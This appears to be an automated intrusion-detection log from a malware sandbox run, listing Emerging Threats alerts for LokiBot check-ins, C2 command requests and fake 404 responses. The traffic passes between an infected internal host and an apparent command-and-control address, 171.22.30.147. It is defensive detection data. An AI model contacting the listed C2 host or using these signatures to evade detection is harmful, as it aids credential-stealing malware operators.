192.168.2.3171.22.30.14749795802025381 01/05/23-08:52:39.717554	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749882802024318 01/05/23-08:53:04.789158	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49882	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749793802024318 01/05/23-08:52:39.171445	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49793	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749882802024313 01/05/23-08:53:04.789158	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49882	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500522025483 01/05/23-08:53:55.452652	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50052	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749793802024313 01/05/23-08:52:39.171445	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749870802024313 01/05/23-08:53:01.561418	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49870	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749853802025381 01/05/23-08:52:56.960046	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749965802024313 01/05/23-08:53:30.671447	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49965	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749766802021641 01/05/23-08:52:30.012463	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749904802024313 01/05/23-08:53:12.139251	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49904	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749948802025381 01/05/23-08:53:24.079081	TCP	2025381	ET TROJAN LokiBot Checkin	49948	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749965802024318 01/05/23-08:53:30.671447	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49965	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500612025483 01/05/23-08:53:57.906111	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50061	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498112025483 01/05/23-08:52:44.228358	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49811	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498522025483 01/05/23-08:52:56.790001	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49852	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500202025483 01/05/23-08:53:45.721042	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50020	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749798802825766 01/05/23-08:52:40.547899	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49798	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749870802024318 01/05/23-08:53:01.561418	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49870	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499482025483 01/05/23-08:53:24.163130	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49948	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749738802021641 01/05/23-08:52:22.066688	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49738	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750066802021641 01/05/23-08:53:59.096230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50066	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750005802021641 01/05/23-08:53:41.297546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50005	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499072025483 01/05/23-08:53:13.039053	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49907	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749993802024318 01/05/23-08:53:38.145026	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49993	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750065802825766 01/05/23-08:53:58.843527	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50065	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749791802025381 01/05/23-08:52:38.617554	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749730802025381 01/05/23-08:52:19.853027	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498932025483 01/05/23-08:53:07.831808	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49893	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749932802024313 01/05/23-08:53:19.762349	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49932	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749993802024313 01/05/23-08:53:38.145026	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49993	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750004802825766 01/05/23-08:53:41.033557	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50004	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750061802021641 01/05/23-08:53:57.824423	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50061	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749886802025381 01/05/23-08:53:05.845633	TCP	2025381	ET TROJAN LokiBot Checkin	49886	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749937802024313 01/05/23-08:53:21.090422	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49937	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749737802825766 01/05/23-08:52:21.818381	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49737	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749932802024318 01/05/23-08:53:19.762349	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49932	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749733802021641 01/05/23-08:52:20.679095	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749889802021641 01/05/23-08:53:06.674333	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49889	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749709802825766 01/05/23-08:52:11.256691	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49709	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750037802825766 01/05/23-08:53:51.314352	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50037	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749793802825766 01/05/23-08:52:39.171445	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49793	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750060802825766 01/05/23-08:53:57.543966	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50060	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750000802021641 01/05/23-08:53:39.996140	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50000	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749732802825766 01/05/23-08:52:20.401546	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49732	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749976802025381 01/05/23-08:53:33.629058	TCP	2025381	ET TROJAN LokiBot Checkin	49976	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749881802025381 01/05/23-08:53:04.500331	TCP	2025381	ET TROJAN LokiBot Checkin	49881	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749998802024318 01/05/23-08:53:39.461942	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49998	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749827802825766 01/05/23-08:52:48.461129	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49827	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749814802024313 01/05/23-08:52:44.953030	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749998802024313 01/05/23-08:53:39.461942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49998	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749856802021641 01/05/23-08:52:57.793570	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749704802825766 01/05/23-08:52:08.934535	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49704	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749763802025381 01/05/23-08:52:29.176849	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749909802024318 01/05/23-08:53:13.489642	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49909	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749858802025381 01/05/23-08:52:58.341182	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749909802024313 01/05/23-08:53:13.489642	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49909	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750032802825766 01/05/23-08:53:49.938594	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50032	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749904802024318 01/05/23-08:53:12.139251	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49904	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749761802021641 01/05/23-08:52:28.591148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49761	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500502025483 01/05/23-08:53:54.876977	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50050	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499592025483 01/05/23-08:53:28.156512	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49959	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749847802024313 01/05/23-08:52:55.372015	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500312025483 01/05/23-08:53:49.742875	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50031	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749884802021641 01/05/23-08:53:05.293982	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49884	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749796802025381 01/05/23-08:52:39.986568	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500722025483 01/05/23-08:54:00.772320	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50072	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749875802024318 01/05/23-08:53:02.907470	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49875	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749814802024318 01/05/23-08:52:44.953030	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49814	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749875802024313 01/05/23-08:53:02.907470	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49875	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499372025483 01/05/23-08:53:21.171934	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49937	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497092025483 01/05/23-08:52:11.338117	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49709	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749842802024313 01/05/23-08:52:54.011182	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49842	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750038802021641 01/05/23-08:53:51.593310	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50038	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749825802025381 01/05/23-08:52:47.903129	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749842802024318 01/05/23-08:52:54.011182	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49842	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749700802021641 01/05/23-08:52:07.351938	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49700	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749760802825766 01/05/23-08:52:28.304789	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49760	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749820802025381 01/05/23-08:52:46.558490	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749847802024318 01/05/23-08:52:55.372015	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49847	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499782025483 01/05/23-08:53:34.236429	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49978	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750033802021641 01/05/23-08:53:50.199257	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50033	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749978802825766 01/05/23-08:53:34.155329	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49978	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499892025483 01/05/23-08:53:37.188693	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49989	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749765802825766 01/05/23-08:52:29.748218	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49765	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749705802021641 01/05/23-08:52:09.363911	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49705	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749918802021641 01/05/23-08:53:15.920283	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49918	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749973802825766 01/05/23-08:53:32.829653	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49973	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500422025483 01/05/23-08:53:52.766868	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50042	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499672025483 01/05/23-08:53:31.314561	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49967	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749729802024313 01/05/23-08:52:19.554519	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749757802024318 01/05/23-08:52:27.498112	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49757	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749913802021641 01/05/23-08:53:14.593137	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49913	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750024802024318 01/05/23-08:53:47.812882	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50024	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749729802024318 01/05/23-08:52:19.554519	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49729	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749748802024318 01/05/23-08:52:24.879047	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49748	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750007802025381 01/05/23-08:53:41.829015	TCP	2025381	ET TROJAN LokiBot Checkin	50007	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500832025483 01/05/23-08:54:03.870341	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50083	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498712025483 01/05/23-08:53:01.907904	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49871	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498742025483 01/05/23-08:53:02.704853	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49874	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500012025483 01/05/23-08:53:40.323123	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50001	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749945802825766 01/05/23-08:53:23.275014	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49945	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749850802825766 01/05/23-08:52:56.172529	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49850	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749946802021641 01/05/23-08:53:23.547730	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49946	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749785802024318 01/05/23-08:52:36.951784	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49785	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749768802025381 01/05/23-08:52:30.564042	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749785802024313 01/05/23-08:52:36.951784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49785	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750026802025381 01/05/23-08:53:48.341265	TCP	2025381	ET TROJAN LokiBot Checkin	50026	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750043802024318 01/05/23-08:53:52.949985	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50043	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749748802024313 01/05/23-08:52:24.879047	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749822802825766 01/05/23-08:52:47.112264	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49822	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750024802024313 01/05/23-08:53:47.812882	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50024	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749917802825766 01/05/23-08:53:15.635846	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49917	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499972025483 01/05/23-08:53:39.292691	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49997	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749971802025381 01/05/23-08:53:32.299331	TCP	2025381	ET TROJAN LokiBot Checkin	49971	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749927802021641 01/05/23-08:53:18.426652	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49927	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498332025483 01/05/23-08:52:50.173155	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49833	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749974802021641 01/05/23-08:53:33.106432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49974	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749987802825766 01/05/23-08:53:36.549688	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49987	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750071802024313 01/05/23-08:54:00.426977	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50071	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498412025483 01/05/23-08:52:53.827492	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49841	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750063802025381 01/05/23-08:53:58.331391	TCP	2025381	ET TROJAN LokiBot Checkin	50063	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749787802025381 01/05/23-08:52:37.509502	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498222025483 01/05/23-08:52:47.191039	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49822	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750080802024313 01/05/23-08:54:02.852694	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50080	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500122025483 01/05/23-08:53:43.270055	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50012	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498602025483 01/05/23-08:52:58.960095	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49860	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750080802024318 01/05/23-08:54:02.852694	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50080	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750054802025381 01/05/23-08:53:55.890469	TCP	2025381	ET TROJAN LokiBot Checkin	50054	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750071802024318 01/05/23-08:54:00.426977	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50071	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498632025483 01/05/23-08:52:59.783070	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49863	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749943802025381 01/05/23-08:53:22.718924	TCP	2025381	ET TROJAN LokiBot Checkin	49943	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749759802025381 01/05/23-08:52:28.024665	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498002025483 01/05/23-08:52:41.187781	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49800	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749805802024318 01/05/23-08:52:42.467353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49805	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498822025483 01/05/23-08:53:04.870118	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49882	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498852025483 01/05/23-08:53:05.656001	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49885	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750009802825766 01/05/23-08:53:42.368696	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50009	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749955802021641 01/05/23-08:53:25.989714	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49955	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749803802825766 01/05/23-08:52:41.905218	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49803	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749828802021641 01/05/23-08:52:48.735651	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750052802024318 01/05/23-08:53:55.369344	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50052	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750052802024313 01/05/23-08:53:55.369344	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50052	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750028802825766 01/05/23-08:53:48.853917	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50028	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749888802825766 01/05/23-08:53:06.392338	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49888	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749776802024318 01/05/23-08:52:33.619524	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49776	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750035802025381 01/05/23-08:53:50.741604	TCP	2025381	ET TROJAN LokiBot Checkin	50035	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749805802024313 01/05/23-08:52:42.467353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750082802025381 01/05/23-08:54:03.532238	TCP	2025381	ET TROJAN LokiBot Checkin	50082	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749776802024313 01/05/23-08:52:33.619524	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749799802021641 01/05/23-08:52:40.836883	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749989802024318 01/05/23-08:53:37.099082	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49989	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749702802025381 01/05/23-08:52:08.155254	TCP	2025381	ET TROJAN LokiBot Checkin	49702	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749757802024313 01/05/23-08:52:27.498112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749960802024313 01/05/23-08:53:28.475539	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49960	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749960802024318 01/05/23-08:53:28.475539	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49960	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749770802021641 01/05/23-08:52:31.112136	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749915802025381 01/05/23-08:53:15.112176	TCP	2025381	ET TROJAN LokiBot Checkin	49915	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498302025483 01/05/23-08:52:49.327790	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49830	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749983802021641 01/05/23-08:53:35.478290	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49983	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749831802825766 01/05/23-08:52:49.539016	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49831	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749714802021641 01/05/23-08:52:13.349412	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749957802025381 01/05/23-08:53:26.768134	TCP	2025381	ET TROJAN LokiBot Checkin	49957	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500232025483 01/05/23-08:53:47.629813	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50023	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749713802825766 01/05/23-08:52:12.826844	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49713	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749775802021641 01/05/23-08:52:32.683406	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749844802025381 01/05/23-08:52:54.549139	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749869802825766 01/05/23-08:53:01.298022	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49869	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749808802825766 01/05/23-08:52:43.325468	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49808	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749729802021641 01/05/23-08:52:19.554519	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749757802021641 01/05/23-08:52:27.498112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.3	171.22.30.147
